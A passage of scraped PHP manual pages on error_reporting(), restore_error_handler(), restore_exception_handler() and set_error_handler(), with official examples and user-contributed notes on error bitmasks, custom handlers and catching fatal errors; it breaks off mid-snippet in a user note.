The new error_reporting level. It takes on either a bitmask, or named constants. Using named constants is strongly encouraged to ensure compatibility for future versions. As error levels are added, the range of integers increases, so older integer-based error levels will not always behave as expected.

The available error level constants and the actual meanings of these error levels are described in the predefined constants.

Return Values

Returns the old error_reporting level or the current level if no level parameter is given.

Changelog

Version | Description
5.4.0 | E_STRICT became part of E_ALL.
5.3.0 | E_DEPRECATED and E_USER_DEPRECATED introduced.
5.2.0 | E_RECOVERABLE_ERROR introduced.
5.0.0 | E_STRICT introduced (not part of E_ALL).

Examples

Example #1 error_reporting() examples

<?php

// Turn off all error reporting
error_reporting(0);

// Report simple running errors
error_reporting(E_ERROR | E_WARNING | E_PARSE);

// Reporting E_NOTICE can be good too (to report uninitialized
// variables or catch variable name misspellings ...)
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

// Report all errors except E_NOTICE
// This is the default value set in php.ini
error_reporting(E_ALL ^ E_NOTICE);

// Report all PHP errors (see changelog)
error_reporting(E_ALL);

// Report all PHP errors
error_reporting(-1);

// Same as error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);

?>

Notes

Warning

Most of E_STRICT errors are evaluated at the compile time thus such errors are not reported in the file where error_reporting is enhanced to include E_STRICT errors (and vice versa).

Tip

Passing in the value -1 will show every possible error, even when new levels and constants are added in future PHP versions. The E_ALL constant also behaves this way as of PHP 5.4.

See Also

  • The display_errors directive
  • The html_errors directive
  • The xmlrpc_errors directive
  • ini_set() - Sets the value of a configuration option

User Contributed Notes

ywarnier at beeznest dot org 03-Aug-2011 08:56
Setting error_reporting in your VirtualHost has to be done through a numerical value which is the result of the options you choose summed up from the values of these options, as defined on the constants page for the error management functions: http://www.php.net/manual/en/errorfunc.constants.php

As a result, E_ALL & ~E_NOTICE would be set this way (this automatically excludes E_DEPRECATED AND E_USER_DEPRECATED):

  php_value error_reporting 6135

whereas E_ALL (excluding the deprecated levels) would be set this way:

  php_value error_reporting 6143

The difference between those two values is 8, which is the value of the constant for E_NOTICE.
info at hyperjoint dot com 13-May-2011 06:19
Setting error_reporting to values which are not defined by the actually used PHP version may result in unpredictable behaviour. Since I often swap between server I use this:

<?php
function safe_error_reporting($level=null)
  {
  $e_all=defined('E_STRICT')?E_ALL|E_STRICT:E_ALL;
  if(isset($level))$level=$level & $e_all;
  return error_reporting($level);
  }
?>

This
- gets E_ALL (inklusive E_STRICT if defined)
- filters level by E_ALL
- sets filtered error_reporting
Khalid 01-May-2011 12:08
When using joomla 1.6 in the backend. i see a message is desplayed: Strict Standards: Only variables should be assigned by reference in C:\xampp\htdocs\plugins\search\modules\modules.php on line 63
rojaro at gmail dot com 06-Dec-2010 02:55
To enable error reporting for *ALL* error messages including every error level (including E_STRICT, E_NOTICE etc.), simply use:

<?php error_reporting(-1); ?>
keithm at aoeex dot com 14-Jun-2010 10:23
Some E_STRICT errors seem to be thrown during the page's compilation process.  This means they cannot be disabled by dynamically altering the error level at run time within that page.

The work-around for this was to rename the file and replace the original with a error_reporting() call and then a require() call.

Ex, rename index.php to index.inc.php, then re-create index.php as:

<?php
error_reporting(E_ALL & ~(E_STRICT|E_NOTICE));
require('index.inc.php');
?>

That allows you to alter the error reporting prior to the file being compiled.

I discovered this recently when I was given code from another development firm that triggered several E_STRICT errors and I wanted to disable E_STRICT on a per-page basis.
roberto at spadim dot com dot br 29-Jan-2010 01:00
see more information about php 5.3 deprecated errors

http://php.net/manual/en/migration53.deprecated.php
misplacedme at gmail dot com 09-Jun-2009 02:25
I always code with E_ALL set.
After a couple of pages of
<?php
$username = (isset($_POST['username']) && !empty($_POST['username']))....
?>

I made this function to make things a little bit quicker.  Unset values passed by reference won't trigger a notice.

<?php
function test_ref(&$var,$test_function='',$negate=false) {
    $stat = true;
    if(!isset($var)) $stat = false;
    if (!empty($test_function) && function_exists($test_function)){
        $stat = $test_function($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif($test_function == 'empty') {
        $stat = empty($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif (!function_exists($test_function)) {
        $stat = false;
        trigger_error("$test_function() is not a valid function");
    }
    $stat = ($stat) ? true : false;
    return $stat;
}
$a = '';
$b = '15';

test_ref($a,'empty',true);  //False
test_ref($a,'is_int');  //False
test_ref($a,'is_numeric');  //False
test_ref($b,'empty',true);  //true
test_ref($b,'is_int');  //False
test_ref($b,'is_numeric');  //false
test_ref($unset,'is_numeric');  //false
test_ref($b,'is_number');  //returns false, with an error.
?>
ecervetti at orupaca dot fr 25-Mar-2009 01:54
It could save two minutes to someone:
E_ALL & ~E_NOTICE  integer value is 6135
Daz Williams (The Northeast) 18-Feb-2009 06:03
Only display php errors to the developer...

<?php
if($_SERVER['REMOTE_ADDR']=="00.00.00.00")
{
  ini_set('display_errors','On');
}
else
{
  ini_set('display_errors','Off');
}
?>

Just replace 00.00.00.00 with your ip address.
info at hephoz dot de 14-Aug-2008 06:34
If you just see a blank page instead of an error reporting and you have no server access so you can't edit php configuration files like php.ini try this:

- create a new file in which you include the faulty script:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>

- execute this file instead of the faulty script file

now errors of your faulty script should be reported.
this works fine with me. hope it solves your problem as well!
kc8yds at gmail dot com 10-Aug-2008 11:45
this is to show all errors for code that may be run on different versions

for php 5 it shows E_ALL^E_STRICT and for other versions just E_ALL

if anyone sees any problems with it please correct this post

<?php
ini_set('error_reporting', version_compare(PHP_VERSION,5,'>=') && version_compare(PHP_VERSION,6,'<') ?E_ALL^E_STRICT:E_ALL);
?>
derek at darkcolors dot com 27-May-2008 01:12
I had the problem that if there was an error, php would just give me a blank page.  Any error at all forced a blank page instead of any output whatsoever, even though I made sure that I had error_reporting set to E_ALL, display_errors turned on, etc etc.  But simply running the file in a different directory allowed it to show errors!

Turns out that the error_log file in the one directory was full (2.0 Gb).  I erased the file and now errors are displayed normally.  It might also help to turn error logging off.
bbaez at biospectra dot com 09-May-2007 05:02
frederick noted this in 2005 but want to stress the point here

If you set error_reporting in httpd.conf or within a script (some PHP versions) then you must use the integer value and not the string:

Example httpd.conf:
E_ALL ^ E_NOTICE would be:
php_value error_reporting 6135

otherwise the error will not display during output.
antickon AT gmail.com 04-Apr-2007 05:21
regarding what vdephily at bluemetrix dot com said ( see http://be.php.net/manual/en/function.error-reporting.php#50228 )

<?php
echo $foobar->field;
?>

also initializes $foobar (as an instance of stdClass), so this code will not cause any notices.
bitagenda at gmail dot com 08-Mar-2007 08:36
A simple and effective way to catch Fatal errors.
From here you can go forward with your own ideas and elaborate a detailed error report.

The principle is simple and ready to test on your system

Fatal errors are not currently catched and you should have display errors off in production sites, but may be you need to test the system so you want a fast an easy way to see fatal errors in your currently running site, without the users seeing those Fatal errors as recomended.

You must have this function

<?php
function catchFatalErrors($p_OnOff='On'){
    ini_set('display_errors','On');
    $phperror='><div id="phperror" style="display:none">';
    ini_set('error_prepend_string',$phperror);
    $phperror='</div>><form name="catcher" action="/sos.php" method="post" ><input type="hidden" name="fatal"  value=""></form> <script> document.catcher.fatal.value = document.getElementById("phperror").innerHTML; document.catcher.submit();</script>';
    ini_set('error_append_string',$phperror);
}

Now activate your fatal error catcher

catchFatalErrors();
?>

Just to test write this inexistent function

<?php
    Bitagenda();
?>

That's all. As you can see there will be a form posted with action="/sos.php", of course you can name this page at your liking, in this case is at the site's root.

Have ready your page sos.php, and elaborate on that. Of course change the mail address to yours,and display a message to the user at your liking.

<?php
if (isset($_POST['fatal'])){
 error_log($_POST['fatal'],1,'bitagenda@gmail.com');
}
?>

 "System Out of Service. Thanks for waiting."

The other fact about this handler is that even if you do not redirect the Fatal Error, prepending
><div style="display:none">
and appending
</div>

Then writting yor personal message

" Sorry, fatal bug."

Will hide the fatal error message from the user, but will be visible in the browsers soure code view.

What happens if you redirect the page before displaying the error? I don´t know, have not tested, but at least you could do it to alert you that a fatal error exists and possibly the fatal error is not displayed (leading to security and at the same time catching the fatal error). Then you could activate this error handler with post-redirection to see what's going on.

;o)

Bitagenda
Alex 19-Jan-2007 03:43
error_reporting() may give unexpected results if the @ error suppression directive is used.

<?php
 @include 'config.php';
 include 'foo.bar';        // non-existent file
?>

config.php
<?php
 error_reporting(0);
?>

will throw an error level E_WARNING in relation to the non-existent file (depending of course on your configuration settings).  If the suppressor is removed, this works as expected.

Alternatively using ini_set('display_errors', 0) in config.php will achieve the same result.  This is contrary to the note above which says that the two instructions are equivalent.
silvan at NOSPAM dot example dot com 04-Oct-2006 06:38
On a shared debugging and production server it is convenient to use
<?php error_reporting(E_ALL); ?>
for debugging.

This will not help in case of parsing errors, so make sure you enable at least E_PARSE in your php.ini. Parse errors should not exist in production scripts.

Still, sometimes your script will not get executed even though no parse error is displayed (just a blank page/ no output at all). As far as I know this only happens when you redeclare a user function or class.

eg.
<?php
error_reporting(E_ALL);

function a(){}
function a(){}
?>

This prevents your script from running like a parse error, but is in fact a fatal run-time error (E_ERROR). Other fatal run-time errors will allow your script to apply the error_reporting, when it is executed before the
error occurs (eg. put error_reporting on the first line of code.)
Chris 09-May-2006 01:32
I found some simple mistakes in the functions I posted yesterday, so here are the corrected versions.
And a good advice: never code in the middle of the night ;)

<?php
function error2string($value)
{
    $level_names = array(
        E_ERROR => 'E_ERROR', E_WARNING => 'E_WARNING',
        E_PARSE => 'E_PARSE', E_NOTICE => 'E_NOTICE',
        E_CORE_ERROR => 'E_CORE_ERROR', E_CORE_WARNING => 'E_CORE_WARNING',
        E_COMPILE_ERROR => 'E_COMPILE_ERROR', E_COMPILE_WARNING => 'E_COMPILE_WARNING',
        E_USER_ERROR => 'E_USER_ERROR', E_USER_WARNING => 'E_USER_WARNING',
        E_USER_NOTICE => 'E_USER_NOTICE' );
    if(defined('E_STRICT')) $level_names[E_STRICT]='E_STRICT';
    $levels=array();
    if(($value&E_ALL)==E_ALL)
    {
        $levels[]='E_ALL';
        $value&=~E_ALL;
    }
    foreach($level_names as $level=>$name)
        if(($value&$level)==$level) $levels[]=$name;
    return implode(' | ',$levels);
}
?>

<?php
function string2error($string)
{
    $level_names = array( 'E_ERROR', 'E_WARNING', 'E_PARSE', 'E_NOTICE',
        'E_CORE_ERROR', 'E_CORE_WARNING', 'E_COMPILE_ERROR', 'E_COMPILE_WARNING',
        'E_USER_ERROR', 'E_USER_WARNING', 'E_USER_NOTICE', 'E_ALL' );
    if(defined('E_STRICT')) $level_names[]='E_STRICT';
    $value=0;
    $levels=explode('|',$string);
    foreach($levels as $level)
    {
        $level=trim($level);
        if(defined($level)) $value|=(int)constant($level);
    }
    return $value;
}
?>
the_bug_the_bug at hotmail dot com 24-Apr-2006 06:20
In response to simon at firepages dot com dot au below:

I wrote a shorter more efficient function which will return a string containing the names of the error levels set in the .ini file:

<?php
function error_level_tostring($intval, $separator)
{
    $errorlevels = array(
        2047 => 'E_ALL',
        1024 => 'E_USER_NOTICE',
        512 => 'E_USER_WARNING',
        256 => 'E_USER_ERROR',
        128 => 'E_COMPILE_WARNING',
        64 => 'E_COMPILE_ERROR',
        32 => 'E_CORE_WARNING',
        16 => 'E_CORE_ERROR',
        8 => 'E_NOTICE',
        4 => 'E_PARSE',
        2 => 'E_WARNING',
        1 => 'E_ERROR');
    $result = '';
    foreach($errorlevels as $number => $name)
    {
        if (($intval & $number) == $number) {
            $result .= ($result != '' ? $separator : '').$name; }
    }
    return $result;
}
?>

P.S. With a little modification this function can be made to show the string values of any enumeration.
dave at davidhbrown dot us 06-Apr-2006 08:51
The example of E_ALL ^ E_NOTICE is a 'bit' confusing for those of us not wholly conversant with bitwise operators.

If you wish to remove notices from the current level, whatever that unknown level might be, use & ~ instead:

<?php
//....
$errorlevel=error_reporting();
error_reporting($errorlevel & ~E_NOTICE);
//...code that generates notices
error_reporting($errorlevel);
//...
?>

^ is the xor (bit flipping) operator and would actually turn notices *on* if they were previously off (in the error level on its left). It works in the example because E_ALL is guaranteed to have the bit for E_NOTICE set, so when ^ flips that bit, it is in fact turned off. & ~ (and not) will always turn off the bits specified by the right-hand parameter, whether or not they were on or off.
DarkGool 19-Aug-2005 10:30
In phpinfo() error reporting level display like a bit (such as 4095)

Maybe it is a simply method to understand what a level set on your host
if you are not have access to php.ini file

<?php
$bit = ini_get('error_reporting');
while ($bit > 0) {
    for($i = 0, $n = 0; $i <= $bit; $i = 1 * pow(2, $n), $n++) {
        $end = $i;
    }
    $res[] = $end;
    $bit = $bit - $end;
}
?>

In $res you will have all constants of error reporting
$res[]=int(16) // E_CORE_ERROR
$res[]=int(8)    // E_NOTICE
...
fredrik at demomusic dot nu 22-Jul-2005 04:24
Remember that the error_reporting value is an integer, not a string ie "E_ALL & ~E_NOTICE".

This is very useful to remember when setting error_reporting levels in httpd.conf:

Use the table above or:

<?php
ini_set("error_reporting", E_YOUR_ERROR_LEVEL);
echo ini_get("error_reporting");
?>

To get the appropriate integer for your error-level. Then use:

php_admin_value error_reporting YOUR_INT

in httpd.conf

I want to share this rather straightforward tip as it is rather annoying for new php users trying to understand why things are not working when the error-level is set to (int) "E_ALL" = 0...

Maybe the PHP-developers should make ie error_reporting("E_ALL"); output a E_NOTICE informative message about the mistake?
phpfanat at yandex dot ru 22-Feb-2005 09:03
If you get a weird mysql warnings like "Warning: mysql_query() [http://www.mysql.com/doc]: Your query requires a full tablescan...", don't look for error_reporting settings - it's set in php.ini.
You can turn it off with
ini_set("mysql.trace_mode","Off");
in your script

And, as of my opinion, it should be NOTICE, not WARNING level.
vdephily at bluemetrix dot com 22-Feb-2005 03:40
Note that E_NOTICE will warn you about uninitialized variables, but assigning a key/value pair counts as initialization, and will not trigger any error :
<?php
error_reporting(E_ALL);

$foo = $bar; //notice : $bar uninitialized

$bar['foo'] = 'hello'; // no notice, although $bar itself has never been initialized (with "$bar = array()" for example)

$bar = array('foobar' => 'barfoo');
$foo = $bar['foobar'] // ok

$foo = $bar['nope'] // notice : no such index
?>
Fernando Piancastelli 13-Dec-2004 01:23
The error_reporting() function won't be effective if your display_errors directive in php.ini is set to "Off", regardless of level reporting you set. I had to set

display_errors = On
error_reporting = ~E_ALL

to keep no error reporting as default, but be able to change error reporting level in my scripts.
I'm using PHP 4.3.9 and Apache 2.0.
ferozzahid [at] usa [dot] com 08-Sep-2004 04:31
To be enable to switch between error_reporting during development and release phases, one can define say 'php_error_reporting' in the main configuration file (ini like file: no PHP) for the application as:

# config.ini
# PHP error reporting. supported values are given below.
# 0 - Turn off all error reporting
# 1 - Running errors
# 2 - Running errors + notices
# 3 - All errors except notices and warnings
# 4 - All errors except notices
# 5 - All errors

php_error_reporting=4

# config.ini ends

Setting error_reporting in PHP files would be something like the code below, assuming the function getinivar() returns the variable value from the configuration file.

<?php
// setting PHP error reporting
switch(getinivar('php_error_reporting')) {
case 0: error_reporting(0); break;
case 1: error_reporting(E_ERROR | E_WARNING | E_PARSE); break;
case 2: error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); break;
case 3: error_reporting(E_ALL ^ (E_NOTICE | E_WARNING)); break;
case 4: error_reporting(E_ALL ^ E_NOTICE); break;
case 5: error_reporting(E_ALL); break;
default:
    error_reporting(E_ALL);
}
?>

Feroz Zahid.
jernberg at fairytale dot se 27-Feb-2003 03:27
tip: if you want your error_reporting()-setting to work with your own error handler you could simply check the error number against the current error bitmask.

<?php
function myErrorHandler( $errno, $errstr, $errfile, $errline )
{
  $replevel = error_reporting();
  if( ( $errno & $replevel ) != $errno )
  {
    // we shall remain quiet.
    return;
  }
  echo( "error....." );
}
?>
rbt at zort.ca 09-Feb-2002 08:25
It should be noted that in apache.conf files the defined values (constants) don't work.  For E_ALL logging, one would use:

php_admin_value error_reporting 2047
j dot schriver at vindiou dot com 02-Oct-2000 11:37
error_reporting() has no effect if you have defined your own error handler with set_error_handler()

[Editor's Note: This is not quite accurate.

E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR and E_COMPILE_WARNING error levels will be handled as per the error_reporting settings.

All other levels of errors will be passed to the custom error handler defined by set_error_handler().

Zeev Suraski suggests that a simple way to use the defined levels of error reporting with your custom error handlers is to add the following line to the top of your error handling function:

if (!($type & error_reporting())) return;

 -zak@php.net]
03-Feb-2000 11:31
The E_NOTICE error reporting level reports the use of undefined variables as an error.

For example:
error_reporting(E_ALL); # Set error reporting to highest level
if ($foo)            # This will generate an error
  print "bar";       # because $foo is not defined

To avoid this behavior, use isset to test if the given
variable has been defined.

For example:
error_reporting(E_ALL);
if (isset ($foo))
    print "bar";
webmaster at l-i-e dot com 21-May-1999 02:13
[Editor's Note: E_ALL will contain the result of OR'ing all of the applicable error constants together. For PHP 3, this will be the first 4 E_xxx constants.  For PHP 4, this will be all constants. ]

There is also an E_ALL which is the first 4 E_xxx added up for you...
error_log
restore_error_handler
Error Handling Functions


Restores the previous error handler function

error_reporting
restore_exception_handler
Error Handling Functions
PHP Manual

restore_error_handler

(PHP 4 >= 4.0.1, PHP 5)

restore_error_handler — Restores the previous error handler function

Description

bool restore_error_handler ( void )

Used after changing the error handler function using set_error_handler(), to revert to the previous error handler (which could be the built-in or a user defined function).

Return Values

This function always returns TRUE.

Examples

Example #1 restore_error_handler() example

Decide if unserialize() caused an error, then restore the original error handler.

<?php
function unserialize_handler($errno, $errstr)
{
    echo "Invalid serialized value.\n";
}

$serialized = 'foo';
set_error_handler('unserialize_handler');
$original = unserialize($serialized);
restore_error_handler();
?>

The above example will output:

Invalid serialized value.

Notes

Note:

Calling restore_error_handler() from the error_handler function is ignored.

See Also

  • error_reporting() - Sets which PHP errors are reported
  • set_error_handler() - Sets a user-defined error handler function
  • restore_exception_handler() - Restores the previously defined exception handler function
  • trigger_error() - Generates a user-level error/warning/notice message

User Contributed Notes

webmaster at travian dot lu 01-Jul-2011 09:27
If you don't know how often you'd need to call restore_error_handler() to restore the built-in error handler, just do:

<?php

set_error_handler(function() {
  return false;
});

?>
Timo Frenay 31-Aug-2009 04:23
While looking through some old code I found this trick I once used for restoring the built-in error handler:

<?php
    // Unwind the error handler stack until we're back at the built-in error handler.
    function unset_error_handler()
    {
        while (set_error_handler(create_function('$errno,$errstr', 'return false;'))) {
            // Unset the error handler we just set.
            restore_error_handler();
            // Unset the previous error handler.
            restore_error_handler();
        }
        // Restore the built-in error handler.
        restore_error_handler();
    }
?>
sebagr gmail com 22-May-2008 08:54
I think what Isole wanted to say is that if you push the same error handler twice, then you'll need to call restore_error_handler() twice if you want to get rid of it:

<?php
function custom_error_handler(){
    echo 'My error handler';
    return false;
}

set_error_handler('custom_error_handler'); // Stack is: <default error handler> | custom_error_handler
set_error_handler('custom_error_handler'); // Stack is: <default error handler> | custom_error_handler | custom_error_handler

trigger_error('error', E_USER_WARNING); // Will print 'My error handler';

restore_error_handler(); // The stack is <default error handler> | custom_error_handler

trigger_error('error', E_USER_WARNING); // Will still print 'My error handler', since the stack is still dirty with our first custom_error_handler.

restore_error_handler(); // The stack is <default error handler>

trigger_error('error', E_USER_WARNING); // Now this will trigger the default error handler.

?>
edgarinvillegas at hotmail dot com 28-Mar-2008 08:21
Isolde is kind of wrong. The error handlers are stacked with set_error_handler(), and popped with restore_error_handler(). Here i put an example:

<?php
    mysql_connect("inexistent"); //Generate an error. The actual error handler is set by default

    function foo1() {echo "<br>Error foo1<br>";}
    function foo2() {echo "<br>Error foo2<br>";}
    function foo3() {echo "<br>Error foo3<br>";}

    set_error_handler("foo1");    //current error handler: foo1
    set_error_handler("foo2");    //current error handler: foo2
    set_error_handler("foo3");    //current error handler: foo3

    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo2
    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo1
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler (The stack can't pop more)
?>
lsole at maresme dot net 14-Mar-2004 11:57
As the docs say, restore_error_handler() revert to the *previous error handler*... even if it is the same. A bug made me set twice my custom error handler and later when I was calling restore_error_handler() to restore the built-in handler nothing seemed to happen... this puzzled me for a while!
error_reporting
restore_exception_handler
Error Handling Functions


Restores the previously defined exception handler function

restore_error_handler
set_error_handler
Error Handling Functions
PHP Manual

restore_exception_handler

(PHP 5)

restore_exception_handler — Restores the previously defined exception handler function

Description

bool restore_exception_handler ( void )

Used after changing the exception handler function using set_exception_handler(), to revert to the previous exception handler (which could be the built-in or a user defined function).

Return Values

This function always returns TRUE.

Examples

Example #1 restore_exception_handler() example

<?php
    function exception_handler_1(Exception $e)
    {
        echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
    }

    function exception_handler_2(Exception $e)
    {
        echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
    }

    set_exception_handler('exception_handler_1');
    set_exception_handler('exception_handler_2');

    restore_exception_handler();

    throw new Exception('This triggers the first exception handler...');
?>

The above example will output:

[exception_handler_1] This triggers the first exception handler...

See Also

  • set_exception_handler() - Sets a user-defined exception handler function
  • set_error_handler() - Sets a user-defined error handler function
  • restore_error_handler() - Restores the previous error handler function
  • error_reporting() - Sets which PHP errors are reported

User Contributed Notes

There are no user contributed notes for this page.
restore_error_handler
set_error_handler
Error Handling Functions


Sets a user-defined error handler function

restore_exception_handler
set_exception_handler
Error Handling Functions
PHP Manual

set_error_handler

(PHP 4 >= 4.0.1, PHP 5)

set_error_handler — Sets a user-defined error handler function

Description

mixed set_error_handler ( callback $error_handler [, int $error_types = E_ALL | E_STRICT ] )

Sets a user function (error_handler) to handle errors in a script.

This function can be used for defining your own way of handling errors during runtime, for example in applications in which you need to do cleanup of data/files when a critical error happens, or when you need to trigger an error under certain conditions (using trigger_error()).

It is important to remember that the standard PHP error handler is completely bypassed for the error types specified by error_types unless the callback function returns FALSE. error_reporting() settings will have no effect and your error handler will be called regardless - however you are still able to read the current value of error_reporting and act appropriately. Of particular note is that this value will be 0 if the statement that caused the error was prepended by the @ error-control operator.

Also note that it is your responsibility to die() if necessary. If the error-handler function returns, script execution will continue with the next statement after the one that caused an error.

The following error types cannot be handled with a user defined function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT raised in the file where set_error_handler() is called.

If errors occur before the script is executed (e.g. on file uploads) the custom error handler cannot be called since it is not registered at that time.

Parameters

error_handler

The user function needs to accept two parameters: the error code, and a string describing the error. Then there are three optional parameters that may be supplied: the filename in which the error occurred, the line number in which the error occurred, and the context in which the error occurred (an array that points to the active symbol table at the point the error occurred). The function can be shown as:

handler ( int $errno , string $errstr [, string $errfile [, int $errline [, array $errcontext ]]] )
errno
The first parameter, errno, contains the level of the error raised, as an integer.
errstr
The second parameter, errstr, contains the error message, as a string.
errfile
The third parameter is optional, errfile, which contains the filename that the error was raised in, as a string.
errline
The fourth parameter is optional, errline, which contains the line number the error was raised at, as an integer.
errcontext
The fifth parameter is optional, errcontext, which is an array that points to the active symbol table at the point the error occurred. In other words, errcontext will contain an array of every variable that existed in the scope the error was triggered in. User error handler must not modify error context.

If the function returns FALSE then the normal error handler continues.

error_types

Can be used to mask the triggering of the error_handler function just like the error_reporting ini setting controls which errors are shown. Without this mask set the error_handler will be called for every error regardless to the setting of the error_reporting setting.

Return Values

Returns a string containing the previously defined error handler (if any). If the built-in error handler is used NULL is returned. NULL is also returned in case of an error such as an invalid callback. If the previous error handler was a class method, this function will return an indexed array with the class and the method name.

Changelog

Version | Description
5.2.0 | The error handler must return FALSE to populate $php_errormsg.
5.0.0 | The error_types parameter was introduced.
4.3.0 | Instead of a function name, an array containing an object reference and a method name can also be supplied as the error_handler.
4.0.2 | Three optional parameters for the error_handler user function was introduced. These are the filename, the line number, and the context.

Examples

Example #1 Error handling with set_error_handler() and trigger_error()

The example below shows the handling of internal exceptions by triggering errors and handling them with a user defined function:

<?php
// error handler function
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
    if (!(error_reporting() & $errno)) {
        // This error code is not included in error_reporting
        return;
    }

    switch ($errno) {
    case E_USER_ERROR:
        echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
        echo "  Fatal error on line $errline in file $errfile";
        echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
        echo "Aborting...<br />\n";
        exit(1);
        break;

    case E_USER_WARNING:
        echo "<b>My WARNING</b> [$errno] $errstr<br />\n";
        break;

    case E_USER_NOTICE:
        echo "<b>My NOTICE</b> [$errno] $errstr<br />\n";
        break;

    default:
        echo "Unknown error type: [$errno] $errstr<br />\n";
        break;
    }

    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling
function scale_by_log($vect, $scale)
{
    if (!is_numeric($scale) || $scale <= 0) {
        trigger_error("log(x) for x <= 0 is undefined, you used: scale = $scale", E_USER_ERROR);
    }

    if (!is_array($vect)) {
        trigger_error("Incorrect input vector, array of values expected", E_USER_WARNING);
        return null;
    }

    $temp = array();
    foreach($vect as $pos => $value) {
        if (!is_numeric($value)) {
            trigger_error("Value at position $pos is not a number, using 0 (zero)", E_USER_NOTICE);
            $value = 0;
        }
        $temp[$pos] = log($scale) * $value;
    }

    return $temp;
}

// set to the user defined error handler
$old_error_handler = set_error_handler("myErrorHandler");

// trigger some errors, first define a mixed array with a non-numeric item
echo "vector a\n";
$a = array(2, 3, "foo", 5.5, 43.3, 21.11);
print_r($a);

// now generate second array
echo "----\nvector b - a notice (b = log(PI) * a)\n";
/* Value at position $pos is not a number, using 0 (zero) */
$b = scale_by_log($a, M_PI);
print_r($b);

// this is trouble, we pass a string instead of an array
echo "----\nvector c - a warning\n";
/* Incorrect input vector, array of values expected */
$c = scale_by_log("not array", 2.3);
var_dump($c); // NULL

// this is a critical error, log of zero or negative number is undefined
echo "----\nvector d - fatal error\n";
/* log(x) for x <= 0 is undefined, you used: scale = $scale" */
$d = scale_by_log($a, -2.5);
var_dump($d); // Never reached
?>

The above example will output something similar to:

vector a
Array
(
    [0] => 2
    [1] => 3
    [2] => foo
    [3] => 5.5
    [4] => 43.3
    [5] => 21.11
)
----
vector b - a notice (b = log(PI) * a)
<b>My NOTICE</b> [1024] Value at position 2 is not a number, using 0 (zero)<br />
Array
(
    [0] => 2.2894597716988
    [1] => 3.4341896575482
    [2] => 0
    [3] => 6.2960143721717
    [4] => 49.566804057279
    [5] => 24.165247890281
)
----
vector c - a warning
<b>My WARNING</b> [512] Incorrect input vector, array of values expected<br />
NULL
----
vector d - fatal error
<b>My ERROR</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />
  Fatal error on line 35 in file trigger_error.php, PHP 5.2.1 (FreeBSD)<br />
Aborting...<br />

See Also

  • ErrorException
  • error_reporting() - Sets which PHP errors are reported
  • restore_error_handler() - Restores the previous error handler function
  • trigger_error() - Generates a user-level error/warning/notice message
  • error level constants
  • information about the callback type

User Contributed Notes

bartek at webph-no-dash-es-oto dot pl 25-Jan-2012 09:08
I've found, that instead of throwing exceptions in error_handler just to immediately catch them in exception_handler is very unpractical.
Instead, I simply transfer them directly as function arguments, like this:

<?php

set_error_handler('my_error_handler');
set_exception_handler('my_exception_handler');

function my_exception_handler($e) {
    exit('Huston! We have a problem: '.$e);
}

function my_error_handler($no,$str,$file,$line) {
    $e = new ErrorException($str,$no,0,$file,$line);
    my_exception_handler($e);     /* Do not throw, simply call error handler with exception object */
}

?>

The effect is exactly the same (application stopped), plus you cannot catch such exceptions (ErrorException) as those never get thrown.
Catching theese errors (ErrorException) can produce rather unexpacted results like errors at line 0 for instance.
Your application might be running, when under normal conditions (error reporting) it would not.

Also, I would consider catching Exception class as bad practice (ErrorException inherits from it too). You should always
create your lowest defined error and never catch anything lower then that:
<?php

class MyException extends Exception {}

//...
try {
    throw new MyException('Something is burning ...');
} catch (MyException $e) {
    // It's our exception, it is most likely friendly :)
} catch (Exception $e) {
    //Really bad practice, as you CANNOT know who and why thrown that.
}

?>

Just my 3 cents, peace!
dorphalsig at NOSPAMgmail dot com 06-Oct-2011 11:25
This actually works to catch Fatal errors...

<?php
function shutdown()
{
    $a=error_get_last();
    if($a==null)
        echo "No errors";
    else
         print_r($a);

}
register_shutdown_function('shutdown');
ini_set('max_execution_time',1 );
sleep(3);
?>

it will output
Array ( [type] => 1 [message] => Maximum execution time of 1 second exceeded [file] => /path/to/file_name.php [line] => 136 )
francois vespa 22-Dec-2010 03:27
This is a note when using php from the terminal (the CLI interface). From the command line, even if you have some kind of error user handler function so STDERR will not display, fatal errors will still cause the PHP interpreter to display error text. There is nothing you can do about that php-wise. If using UNIX/Linux, you can add " 2>/dev/null" at the end of your command to force STDERR not to show
periklis 02-Aug-2010 08:09
How to handle fatal errors in php 5.2:

<?php
register_shutdown_function('shutdownFunction');
function shutDownFunction() {
    $error = error_get_last();
    if ($error['type'] == 1) {
        //do your stuff
    }
}
?>
contact [a] ionisis [.] com 25-May-2010 03:54
There seems to be no way to access to access the _POST, _GET, etc if you call trigger_error from within a function inside a class file.
devermin at ti0n dot net 23-May-2010 03:46
At work I have some code with errors that uncatched are the causes of integrity loss (people calling web services with file_get_contents that fails silently and afterwards insert garbage in the database).

here is the solution I found to transform a specific set of errors into exception and afterwards be able to selectively act (with the error code) regarding categories :

<?php
ini_set('error_reporting',E_ALL^E_NOTICE);

## first 10 bits reserved for the initial error number
define('EMASK',(~0)<<10);
define('ECODEMASK',~EMASK);
## categories
define('IOERROR', 1<<10);
define('EMPTYPARMS', 1<<11);
define('FAILURE', 1<<12);
## string error patterns => code

$catch_me=array(
    "/^(file_get_contents)\((.*)\).*failed to open stream: (.*)/ " =>
        array ( 'mesg' => "IO::Failed to open stream with",
                'code' => IOERROR | FAILURE
        ),
    "/^fopen\(.*\): Filename cannot be empty/" =>
        array( 'msg' => "Parameters::empty",
